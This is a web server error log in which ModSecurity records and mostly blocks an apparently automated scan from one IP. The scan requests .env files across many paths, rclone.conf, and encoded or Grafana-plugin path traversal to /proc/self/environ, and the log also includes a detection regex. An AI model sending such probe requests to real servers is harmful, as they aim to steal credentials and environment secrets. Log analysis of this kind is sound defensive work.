[Mon Oct 26 07:05:07.192195 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at8z44eGqS3CXz8ptQGTrQAAAAI"]
[Mon Oct 26 07:05:07.195125 2026] [core:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Mon Oct 26 07:05:07.241510 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFAAAACc"]
[Mon Oct 26 07:05:07.241623 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFAAAACc"]
[Mon Oct 26 07:05:07.241868 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFAAAACc"]
[Mon Oct 26 07:05:07.242216 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFAAAACc"]
[Mon Oct 26 07:05:07.596124 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFQAAACc"]
[Mon Oct 26 07:05:07.596397 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFQAAACc"]
[Mon Oct 26 07:05:07.596666 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFQAAACc"]
[Mon Oct 26 07:05:07.597550 2026] [core:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35348] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 07:05:07.621865 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at8z46e0hdS5i1FYoSkSXQAAACw"]
[Mon Oct 26 07:05:07.622266 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at8z46e0hdS5i1FYoSkSXQAAACw"]
[Mon Oct 26 07:05:07.622593 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at8z46e0hdS5i1FYoSkSXQAAACw"]
[Mon Oct 26 07:05:07.626939 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at8z47FCbpdt8WThhgVJvAAAACY"]
[Mon Oct 26 07:05:07.627151 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at8z47FCbpdt8WThhgVJvAAAACY"]
[Mon Oct 26 07:05:07.627419 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at8z47FCbpdt8WThhgVJvAAAACY"]
[Mon Oct 26 07:05:07.714837 2026] [security2:error] [pid 3019695:tid 3019695] [client 34.39.164.1:35250] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at8z40-4REJ58yy_DhH7ewAAACk"]
[Mon Oct 26 07:05:07.715223 2026] [security2:error] [pid 3019695:tid 3019695] [client 34.39.164.1:35250] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at8z40-4REJ58yy_DhH7ewAAACk"]
[Mon Oct 26 07:05:07.715538 2026] [security2:error] [pid 3019695:tid 3019695] [client 34.39.164.1:35250] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at8z40-4REJ58yy_DhH7ewAAACk"]
[Mon Oct 26 07:05:07.852543 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at8z47GAWtzDWotfTvaiWAAAACU"]
[Mon Oct 26 07:05:07.852850 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at8z47GAWtzDWotfTvaiWAAAACU"]
[Mon Oct 26 07:05:07.853158 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at8z47GAWtzDWotfTvaiWAAAACU"]
[Mon Oct 26 07:05:07.959411 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at8z47FCbpdt8WThhgVJvQAAACY"]
[Mon Oct 26 07:05:07.959633 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at8z47FCbpdt8WThhgVJvQAAACY"]
[Mon Oct 26 07:05:07.959887 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at8z47FCbpdt8WThhgVJvQAAACY"]
[Mon Oct 26 07:05:07.960805 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFgAAACc"]
[Mon Oct 26 07:05:07.960994 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFgAAACc"]
[Mon Oct 26 07:05:07.961209 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at8z4wmtqRvGLzY5nYxxFgAAACc"]
[Mon Oct 26 07:05:07.963609 2026] [core:error] [pid 3019687:tid 3019687] [client 34.39.164.1:35214] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 07:05:07.963647 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at8z4xtqC-HENAKDpEgEmwAAABU"]
[Mon Oct 26 07:05:07.963805 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at8z4xtqC-HENAKDpEgEmwAAABU"]
[Mon Oct 26 07:05:07.964072 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at8z4xtqC-HENAKDpEgEmwAAABU"]
[Mon Oct 26 07:05:07.965045 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at8z46e0hdS5i1FYoSkSXgAAACw"]
[Mon Oct 26 07:05:07.965225 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at8z46e0hdS5i1FYoSkSXgAAACw"]
[Mon Oct 26 07:05:07.965431 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at8z46e0hdS5i1FYoSkSXgAAACw"]
[Mon Oct 26 07:05:07.966462 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at8z4wFmwSOxi_IjJL3BGQAAACQ"]
[Mon Oct 26 07:05:07.966656 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at8z4wFmwSOxi_IjJL3BGQAAACQ"]
[Mon Oct 26 07:05:07.966990 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at8z4wFmwSOxi_IjJL3BGQAAACQ"]
[Mon Oct 26 07:05:07.991778 2026] [core:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 07:05:07.993797 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at8z4yz2IVlcktcA6K04YAAAABg"]
